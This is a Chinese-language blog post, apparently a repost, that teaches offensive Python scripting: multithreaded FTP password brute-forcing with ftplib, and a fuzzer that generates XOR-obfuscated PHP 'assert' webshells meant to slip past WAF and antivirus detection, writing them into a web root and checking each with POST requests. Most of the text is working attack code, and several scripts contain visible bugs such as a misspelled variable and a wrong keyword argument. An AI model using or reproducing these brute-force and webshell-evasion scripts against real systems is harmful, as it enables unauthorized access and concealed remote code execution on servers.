我是靠谱客的博主 丰富期待,最近开发中收集的这篇文章主要介绍【Python】多线程Fuzz&&Waf异或免杀&爆破,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

【Python】多线程Fuzz&Waf异或免杀&爆破

    • 学习内容和目的
    • 简单多线程脚本
    • 利用FTP模块实现协议爆破脚本
      • 不含多线程简单爆破
        • 引入queue和threading
    • 配合Fuzz实现免杀异或Shell脚本
        • 添加requests判断结果
      • 多线程代码

注意sys.argv传参数必要时需要转换int型。

学习内容和目的

知识点:协议模块使用,Request爬虫技术,简易多线程技术,编码技术,Bypass后门技术
学习目的:掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合Fuzz吊打Waf

简单多线程脚本

queue,threading模块使用

利用FTP模块实现协议爆破脚本

1.ftplib模块使用
2.遍历用户及密码字典
3.尝试连接执行命令判断

不含多线程简单爆破

import ftplib
import sys
def ftp_brute():
	ftp=ftplib.FTP()
	ftp.connect('192.168.0.101',21)
	for username in open('ftp-user.txt'):
		for password in open('ftp-pass.txt'):
			username=username.replace('n','')
			password=password.replace('n','')
			try:
				ftp.login(username,password)
				list=ftp.retrlines('list')
				print(list)
				print(username+'|'+password+'ok')
			except ftplib.all_errors:
				pass
if __name__ == '__main__':
	ip=sys.argv[1]
	ftp_brute() 

引入queue和threading

import ftplib
import sys
import queue
import threading
def ftp_brute():
	ftp=ftplib.FTP()
	ftp.connect('192.168.0.101',21)
	while not q.empty():
		dict=q.get()
		dict=dict.split('|')
		username=dict[0]#因为q里面有|,分隔后每个q含有两项。
		password=dict[1]
		try:
			ftp.login(username,password)
			list=ftp.retrlines('list')
			print(list)
			print(username+'|'+password+'ok')
		except ftplib.all_errors:
			pass
	
	
			
if __name__ == '__main__':
	q=queue.Queue()
	for username in open('ftp-user.txt'):
		for password in open('ftp-pass.txt'):
			username=username.replace('n','')
			password=password.replace('n','')
			zidian=username+'|'+password
			q.put(zidian)
	for x in range(10):#10是线程数
		t=threading.Thread(target=ftp_brute)#函  数不加()
		t.start()

添加参数:

import ftplib
import sys
import queue
import threading
def ftp_brute(ip,port):
	ftp=ftplib.FTP()
	ftp.connect(ip,int(port))
	while not q.empty():
		dict=q.get()
		dict=dict.split('|')
		username=dict[0]#因为q里面有|,分隔后每个q含有两项。
		password=dict[1]
		try:
			ftp.login(username,password)
			list=ftp.retrlines('list')
			print(list)
			print(username+'|'+password+'ok')
		except ftplib.all_errors:
			pass
	
	
			
if __name__ == '__main__':
	ip=sys.argv[1]
	port=sys.argv[2]
	userfile=sys.argv[3]
	passfile=sys.argv[4]
	threading_num=sys.argv[5]

	q=queue.Queue()
	for username in open(userfile):
		for password in open(passfile):
			username=username.replace('n','')
			password=password.replace('n','')
			zidian=username+'|'+password
			q.put(zidian)
	for x in range(10):#10是线程数
		t=threading.Thread(target=ftp_brute,args=(ip,int(port)))#参数名args
		t.start()

配合Fuzz实现免杀异或Shell脚本

1.免杀异或Shell原理讲解及开发思路(参考及举例:^!@,"?等)
2.基于Fuzz思路生成大量Payload代码并有序命名写入到网站文件中。
3.基于多线程实现批量访问Shell文件并提交测试是否正常连接回显。

PHP异或
通过^进行异或运算:

<?php $a=("!"^"@").'ssert';$a($_POST[x]);?>

要把!@对应的二进制的ASCII码异或运算。得到的是a。免杀绕过的是assert。
如何去生成更多个a的运算符?

  • 1.搞清楚算法,一个个反推。
  • 2.遍历查找,看那个匹配a。

把后门木马写入www文件夹下,一个个测试request访问,看那个成功。

for i in range(1,127):
	for ii in range(1,127):
		code="<?php $a="+"'"+chr(i)+"('"+"^"+"'"+chr(ii)+"')"+".'ssert';$a($_POST[x]);?>"
		with open("E:/securitytools/phpstudy_pro/WWW"+str(i)+'xs'+str(ii)+'.php','a+') as f:
			f.write(code)
			f.close()

在这里插入图片描述
请求:
127.0.0.1/x/33xs64.php
传入参数
x=phpinfo()
可以看到等待assert命令的执行。
在这里插入图片描述

添加requests判断结果

import requests

for i in range(1,127):
	for ii in range(1,127):
		code="<?php $a="+"('"+chr(i)+"'"+"^"+"'"+chr(ii)+"')"+".'ssert';$a($_POST[x]);?>"
		with open("E:/securitytools/phpstudy_pro/WWW/x/"+str(i)+'xs'+str(ii)+'.php','a+') as f:
			f.write(code)
			f.close()
		url='http://127.0.0.1/x/'+str(i)+'xs'+str(ii)+'.php'
		data={
			'x':'phpinfo()'
		}
		result=requests.post(url,data=data).content.decode('utf-8')
		if 'xxx' in result:
			print('Bypass ok->'+str(i)+'xs'+str(ii)+'.php')
			print(code)
		#else
			#print(str(i)+'xs'+str(ii)+'.php'+'|No')

无子符后门,
assert中的每个字符都可以拆分。$a也可以拆分。
webshell免杀

多线程代码

原型代码,编译代码。

import requests
import time 
import threading,queue

def string():
	while not q.empty():
		filename=q.get()
		url='http://127.0.0.1/x/'+filename
		datas={
			'x':'phpinfo();'
		}
		result=requests.post(url,datas=datas).content.decode('utf-8')
		if 'xxx' in result:
			print('check->'+filename+'->OK')
		else:
			print('check->'+filename+'->No')
		time.sleep(1)

def shell_test_check():
	url='http://127.0.0.1/x/33x64.php'
	datas={
		'x':'phpinfo();'
	}
	result=requests.post(url,datas=datas).content.decode('utf-8')
		if 'xxx' in result:
			print('ok')

if __name__ == '__main__':
	q=queue.Queue()
	for i in range(1,127):
		for ii in range(1,127):
			payload="'"+chr(i)+"'"+"^"+"'"+chr(ii)+"'"
			code="<?php $a=("+payload+").'ssert';$a($_POST[x]);?>"
			filname=str(i)+'xd'+str(ii)+'.php'
			q.put(filename)
			with open('D://xxxx/www/x'+filename,'a') as f:
				f.write(code)
				f.close()
				print('Fuzz文件生成成功')
	for x in range(20):
		t=threading.Thread(target=string)
		t.start()

最后

以上就是丰富期待为你收集整理的【Python】多线程Fuzz&&Waf异或免杀&爆破的全部内容,希望文章能够帮你解决【Python】多线程Fuzz&&Waf异或免杀&爆破所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(62)

评论列表共有 0 条评论

立即
投稿
返回
顶部